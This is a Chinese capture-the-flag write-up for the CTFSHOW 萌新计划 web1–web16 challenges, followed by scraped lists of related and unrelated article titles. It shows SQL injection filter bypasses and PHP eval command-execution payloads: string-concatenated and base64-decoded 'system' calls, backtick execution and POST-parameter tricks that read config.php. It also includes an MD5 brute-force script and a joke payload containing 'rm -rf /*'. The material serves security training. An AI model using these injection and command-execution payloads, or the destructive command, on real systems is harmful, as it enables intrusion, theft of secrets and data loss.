CTFSHOW【萌新计划】Writeup

2023-11-14

【萌新计划】web1

题目: 代码很安全,没有漏洞。
解题思路: 题目代码

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html> 

提示flag在id=1000,可是id不能等于1000,构造如下url

https://71233d4d-e0f8-4cba-92ba-8f77a48f607b.chall.ctf.show/?id=100 or id=1000

得到flag,flag{6f5ec2a3-67f5-45c7-ad53-b725b1107435}

在这里插入图片描述

【萌新计划】web2

题目: 管理员赶紧修补了漏洞,这下应该没问题了吧?
解题思路: 题目代码和上一题相似,不过过滤了or

if(preg_match("/or|\+/i",$id))

构造如下url

https://2313fea2-de54-48db-b262-3dc6b0fb012f.chall.ctf.show/?id=100 || id=1000

得到flag,flag{9dfca7d9-e325-4ed8-9cfe-73c3d3aeacc9}。

在这里插入图片描述

【萌新计划】web3

题目: 管理员被狠狠的教育了,所以决定好好修复一番。这次没问题了。
解题思路: 题目代码增加了过滤符号

if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){

构造与上一题相同url即可,flag{41918340-c0cd-4792-98a3-52f0294262e0}。

【萌新计划】web4

题目: 管理员阿呆又失败了,这次一定要堵住漏洞
解题思路: 题目代码

    if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))

构造与上一题相同url即可,flag{4a5d7186-6d01-4425-8930-273e60cef3b9}。

【萌新计划】web5

题目: 阿呆被老板狂骂一通,决定改掉自己大意的毛病,痛下杀手,修补漏洞。
解题思路: 题目代码

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))

利用字节操作,构造url

https://34372a31-4e08-4272-8c76-ad83b58f8a09.chall.ctf.show/?id=~~1000

得到flag,flag{7557dd2b-8ad5-4237-a42b-65428442a02a}。

【萌新计划】web6

题目: 阿呆一口老血差点噎死自己,决定杠上了
解题思路: 题目代码

 if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id))

构造与上一题相同url,得到flag,flag{82754c8a-2429-4be9-9420-aa9d5152c44a}。

【萌新计划】web7

题目: 阿呆得到最高指示,如果还出问题,就卷铺盖滚蛋,阿呆心在流血。
解题思路: 题目代码

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id))

利用进制转换,构造如下url

https://dfb305c2-9c40-4b41-8912-ae008639c5f0.chall.ctf.show/?id=0b001111101000

得到flag,flag{2a0d2647-60b2-4025-bfa2-646c017b0c45}。

【萌新计划】web8

题目: 阿呆熟悉的一顿操作,去了埃塞尔比亚。PS:阿呆第一季完,敬请期待第二季!
解题思路: 题目代码

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}else{
    highlight_file(__FILE__);
}

?>
</body>
</html>

看了WP听说是个梗题,构造url

https://ecaff87a-1927-4a7d-a6fd-b1141f41b4eb.chall.ctf.show/?flag=rm -rf /*

得到flag{95d1ec7d-fd01-4dcf-ba44-e5af04047b4f} 。

【萌新计划】web9

题目: 阿呆在埃塞俄比亚终于找了一个网管的工作,闲暇时还能种点菜。
解题思路: 题目代码

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

代码的意思是需要传递到参数c中包含system|exec|highlight,构造url

https://1ec537c0-6558-4ca2-93ee-84f1df366922.chall.ctf.show/?c=highlight_file("config.php");

得到flag{50686976-d892-4311-851f-41de75510df5}。注意:一定要加分号

【萌新计划】web10

题目: 阿呆看见对面二黑急冲冲的跑过来,告诉阿呆出大事了,阿呆问什么事,二黑说:这几天天旱,你菜死了!
解题思路: 题目代码

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?>

使用PHP语法多次定义,拼凑payloadc=$x='sys';$y='tem';$z=$x.$y;$z('cat config.php');
跳转到新页面后,查看源码,得到flag{78d9c590-10ad-4f0f-a9a5-58d13841192b}。

【萌新计划】web11

题目: 阿呆听完自己菜死了,自己呆了。决定修好漏洞,绝对不能让自己再菜死了。
解题思路: 题目代码

<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(!preg_match("/system|exec|highlight|cat/i",$c)){
                eval($c);
        }else{
            die("cmd error");
        }
}else{
        highlight_file(__FILE__);
}
?> 

过滤了cat,使用more替换即可
c=$a='sys';$b='tem';$z=$a.$b;$z('more config.php');
得到flag{c856bc45-bb4e-4f57-8f55-93317f7cddf0}。

【萌新计划】web12

题目: 阿呆不慌不忙的拔掉自己所有的菜,以后自己就不会菜死了。
解题思路: 题目代码

if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c))

又过滤了文件名,利用base64编解码,拼凑payload c=$a=base64_decode("c3lzdGVt");$b=base64_decode("Y2F0IGNvbmZpZy5waHA=");$a($b);
跳转到新页面后,查看源码,得到flag{33d9febb-c2dd-4b32-ad1b-f554c45e9052}。

【萌新计划】web13

题目: 阿呆彻底呆了,阿呆拿起谷姐搜索好久,终于找到更狠的方法。
解题思路: 题目代码

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c))

在之前题目的基础上过滤了分号,只能执行一条语句,想到PHP中的命令执行函数还可以用passthru(),可以使用?>闭合语句。
拼凑payloadc=passthru('ca""tls')?>注意:ls两边的是反引号。
在linux中反引号的作用就是将反引号内的Linux命令先执行,然后将执行结果赋予变量。
cat ls 相当于将 ls出来的结果cat。
跳转到新页面后,查看源码,得到flag{5da91d85-c854-4d5f-a725-d19caa9963c2}。

【萌新计划】web14

题目: 阿呆忍无可忍了,告诉自己,如果还被攻,自己就跳下去。
解题思路: 题目代码

if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c))

在之前题目的基础上过滤了括号,拼凑payloadc=echo \$_POST[a]`?>,以post方式传入a=cat config.php`,
得到flag{a90662b0-d0d4-43b1-ae28-9248dc8e4676}。

【萌新计划】web15

题目: 人为什么要活着?难道埃塞俄比亚再无我阿呆容身之处?
解题思路: 题目代码

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))

在之前题目的基础上过滤了问号,但未过滤分号,拼凑payloadc=echo \$_POST[a]`;,以post方式传入a=cat config.php`,
得到flag{3178e80f-3ea6-433f-ba6f-0a9307c93da1}。

【萌新计划】web16

题目: 阿呆为了自己的梦想(fulage),决定来一波反向跑路。
解题思路: 题目代码

 <?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){
        $c = $_GET['c'];
        if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e"){
            echo $flag;
        }else{
            echo "nonono!";
        }
}else{
        highlight_file(__FILE__);
}
?>

上脚本爆破,得到c=36d。

import hashlib
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in str1:
    for j in str1:
        for k in str1:
            s = hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
            #print(type(s))
            if s=='a6f57ae38a22448c2f07f3f95f49c84e':
                print(i+j+k)

拼凑payload,得到flag{790f7029-1a66-4b2c-99c2-e912bfa8ed3d} 。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CTFSHOW【萌新计划】Writeup 的相关文章

  • 无字母数字的命令执行(ctfshow web入门 55)

    这几天都没有怎么学习 基本上都是复习学科知识 因为我们要期末考试 刚刚好今天有时间来做了一道命令执行的题 再一次拜读了 p神的文章 受益匪浅 直接进入正题 源代码
  • BUUCTF WEB刷题记录

    第一题 刚打开的页面 看源码 发现source php 访问source php 我们要用file参数带出flag 但是有白名单限制 第一个和第二个判断是对file本身的值进行判断 第三个和第四个是对 前面的file值进行判断 所以我们可以
  • 一些文件头

    由这些文件头即使文件后缀被乱改也可以通过查看二进制文件查出文件的匹配格式 当然这就是一些播放器识别文件的方法 1 从Ultra edit 32中提取出来的 JPEG jpg 文件头 FFD8FF PNG png 文件头 89504E47 G
  • buuCTF [ISITDTU 2019]EasyPHP 1

    buuCTF ISITDTU 2019 EasyPHP 1 直接代码审计 第一个if 过preg match 一般有三种方法 取反绕过 异或绕过 转义绕过 这里用取反绕过 第二个if的意思是输入的字符串不重复的字符长度不超过0xd即13 如
  • 2020ciscn wp

    目录 1 签到电台 2 基于挑战码的双向认证 1 2 3 web Ezpo 4 基于挑战码的双向认证3 5 ISO9798 6 问卷调查 7 ez usb 8 login nomal 1 签到电台 操作内容 根据公众号提示 知道了模十的算法
  • fileclude(文件包含漏洞及php://input、php://filter的使用)

    先介绍一些知识 1 文件包含漏洞 和SQL注入等攻击方式一样 文件包含漏洞也是一种注入型漏洞 其本质就是输入一段用户能够控制的脚本或者代码 并让服务端执行 什么叫包含呢 以PHP为例 我们常常把可重复使用的函数写入到单个文件中 在使用该函数
  • CTFhub技能树_Web RCE

    一 eval执行 1 分析 打开网站显示如下代码 大体意思是 判断cmd是否被设置 若cmd被赋值 则执行如下语句 否则就继续显示以上代码 eval REQUEST cmd 其中 eval 该函数可以把字符串作为PHP代码执行 REQUES
  • 第十五届全国大学生信息安全竞赛(ciscn初赛) 部分writeup

    杂项的附件地址 https share weiyun com BZyngGSZ CISCN web Ezpop misc everlasting night ez usb 问卷调查 pwn login nomal crypto 签到电台 基
  • [西湖论剑2021中国杭州网络安全技能大赛]Yusa的秘密 writeup

    西湖论剑2021 Yusa的秘密 Sakura组织即将进攻地球 此时你意外得到了该组织内某个成员的电脑文件 你能从中发现本次阴谋所用的关键道具吗 注 题目中包含了五个彩蛋 且彩蛋对解题本身没有任何影响 快去发现吧 附件 Who am I z
  • ctfshow web2

    ctfshow web2 writeup 这是本人第一次写blog 有不好的地方希望大家多多指出 从此开始踏上了网安的不归路 成为了一只web狗 从题目可以看出这是一道sql注入的题 示例 pandas 是基于NumPy 的一种工具 该工具
  • ctfshow- web1(50 point)

    0x00 前言 CTF 加解密合集 CTF Web合集 0x01 题目 0x02 Write Up 首先映入眼帘的是登录界面 尝试弱口令无果 可以注册 尝试注册一个账号 通过url发现这里是通过order by进行了排序 测试发现一共5个字
  • ctfshow-web3

    0x00 前言 CTF 加解密合集 CTF Web合集 0x01 题目 0x02 Write Up 这个题目一看就知道是一个文件包含漏洞 php input可以访问请求的原始数据的只读流 将post请求的数据当作php代码执行 GET ht
  • BUUCTF[强网杯 2019]随便注 的三种解法

    文章目录 尝试注入 解题思路1 解题思路2 解题思路3 知识点总结 打开后题目是这样的 尝试注入 1 测试 1 or 1 1 初步判定存在SQL注入 1 or 1 1 再测试字段数 到3时报错 说明字段数为2 1 order by 1 接着
  • [MRCTF2020]千层套路

    MRCTF2020 千层套路 题目地址 https buuoj cn challenges MRCTF2020 E5 8D 83 E5 B1 82 E5 A5 97 E8 B7 AF 解压压缩包 发现是密码竟然是压缩包名称 再根据题目 tn
  • ctfshow---sql注入(214-253)

    目录 web214 web215 web216 web217 web218 web219 web220 web221 web222 web223 web224 web225 web226 web227 web228 229 230 web2
  • [BDSec CTF 2022] 部分WP

    组队参加了个国外的小线上赛 题目比较简单 目录 PWN pwnrace Reverse BDSec License Checker 0x1 shashdot Flag Box Simple Math Poster BDSec License
  • 二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO

    简介 pwn是ctf比赛的方向之一 也是门槛最高的 学pwn前需要很多知识 这里建议先去在某宝上买一本汇编语言第四版 看完之后学一下python和c语言 python推荐看油管FreeCodeCamp的教程 c语言也是 pwn题目大部分是破
  • 攻防 & 渗透 & Kali笔记(持续更新)

    0x00 写在前面 本来是记录kali用法的一篇文章 后来就慢慢变成了记录攻防 渗透测试 Kali用法的文章了 本来信息安全就涉及到方方面面就是个大杂烩 0x01 John the Ripper john爆破需要一个shadow文件 推荐使
  • BUUCTF [CSAWQual 2019]Web_Unagi 1

    BUUCTF CSAWQual 2019 Web Unagi 1 提示在 flag 有提示了上传xml文件及其格式 直接用之前xml注入的上传即可 改文件名为1 xml上传即可得flag gt
  • [SUCTF 2019]EasyWeb

    SUCTF 2019 EasyWeb 打开环境是一段代码 其中if preg match x00 0 9A Za z x7F i hhh 这个判断是难点 它的绕过可以参考这篇文章https www h3399 cn 201909 72364

随机推荐

  • Android系统apps之Setting的修改和设置

    由于接到了一个修改系统app Settings条目是需求 接着也看到了一个博主的文章http blog csdn net wangjinyu501 article details 22077803 这篇文章写的很好 基本满足了需求 我这里再
  • 《暗时间》阅读笔记一

    推荐阅读原著 https book douban com subject 6709809 https book douban com subject 6709809
  • Bert: Pre-training of Deep Bidirectional Transformers for Language Understanding

    Abstract 我们介绍了一种语言表达模型称为BERT 也就是Transformer的双边编码表示 与当前语言表达模型不同 Peters et al 2018a Radford et al 2018 BERT设计通过考虑所有层左右上下文对
  • Erlang in Mac OSX

    download the source package from the erlang website http www erlang org download html and unzip it tar zxvf otp src R14B
  • 第十届蓝桥杯省赛C++B组 迷宫

    试题 E 迷宫 本题总分 15 分 问题描述 下图给出了一个迷宫的平面图 其中标记为 1 的为障碍 标记为 0 的为可 以通行的地方 010000 000100 001001 110000 迷宫的入口为左上角 出口为右下角 在迷宫中 只能从
  • 攻防世界weak_auth知识详解

    1 进入环境 当我们点进去的时候 出来一个网页 让我们输入username和password 先随便输入一下 然后弹出是说让我们用admin作为username登入 那我们就按照它的要求吧 进行修改 这次它只是提醒了密码错误 我们的重心开始
  • Es_算分函数使用详情

    算分函数查询 相关性计算 当我们利用match查询时 文档结果会根据与搜索词条的关联度打分 score 返回结果时按照分值降序排列 例如 我们搜索 虹桥如家 结果如下 score 17 850193 source name 虹桥如家酒店真不
  • 递归遍历树节点

    考虑这样一种场景 从一个object找到id对应的对象 obj如下结构 调用 fn obj 121 返回 对应object id 121 child const obj id 0 child id 1 child id 12 child i
  • Failed to read the 'localStorage' property from 'Window' 的解决办法

    参考链接 https stackoverflow com questions 30481516 iframe in chrome error failted to read localstorage from window access d
  • 【PHP小皮】使用教程

    博主介绍 主攻JAVA 因不可逆的原因 被迫学PHP 刚人门多多关照 文章目录 前言 一 官网下载小皮 二 使用步骤 1 打开小皮页面 2 使用步骤如下 总结 前言 随着快爱情的发展 php也不是那么的繁琐 下载集成工具小皮就可以省去很多时
  • 史上最全的maven的pom.xml文件详解

    本文转自 https www cnblogs com hafiz p 5360195 html 原作者 阿豪聊干货
  • Flask后端笔记(二)request、bort、响应、session、钩子

    Flask后端笔记 获取请求参数 上传文件 with的使用 bort函数与自定义异常处理 abort函数 自定义异常处理 返回的响应数据 元组 make response json模块的使用 使用jsonify返回json数据 重定向 设置
  • 最新的单机Lustre文件系统的安装

    1 单机Lustre的搭建 主机名 IP地址 内存 添加的共享磁盘大小 Centos7 9 test机 192 168 10 30 24 1G 20G 1 安装E2fsprogs包 下载OSS服务器所需要的包 E2fsprogs包只是在Ex
  • 该linux文件目录的owner权限

    sudo chown R admusr 要改的用户名 admusr path
  • “过早优化是万恶之源”这句话的源头

    来自于一篇大神的论文 而且原意没有一句话那么简单 Premature optimization is the root of all evil Programmers waste enormous amounts of time think
  • python 下载安装

    在下载Python之前我们要明确我们的开发环境的操作系统 这里我们选择Windows Python下载步骤 Python安装步骤 测试安装是否成功 注意 如果输入python后 没有出现如图效果 而是显示 python 不是内部或外部命令
  • .NET Core 获取自定义配置文件信息(多种方式)

    引用 Microsoft AspNetCore App 元包或将包引用添加到 Microsoft Extensions Options ConfigurationExtensions 包 简而言之 直接可以用 Appsetting json
  • ES分布式搜索引擎

    初始化RestClient 引入依赖 因为SpringBoot默认的ES版本是7 6 2 所以我们需要覆盖默认的ES版本
  • Linux用nohup后台运行python程序及停止

    在Ubuntu上用python flask写了一个后端代码 每次运行要CMD先远程连上服务器 然后python xxx py启动 这样操作会让cmd窗口被占用 没办法进行其他操作 ls cd这种 如果把窗口关了 程序就停止了 看了网上的例子
  • CTFSHOW【萌新计划】Writeup

    CTFSHOW 萌新计划 web1 萌新计划 web2 萌新计划 web3 萌新计划 web4 萌新计划 web5 萌新计划 web6 萌新计划 web7 萌新计划 web8 萌新计划 web9 萌新计划 web10 萌新计划 web11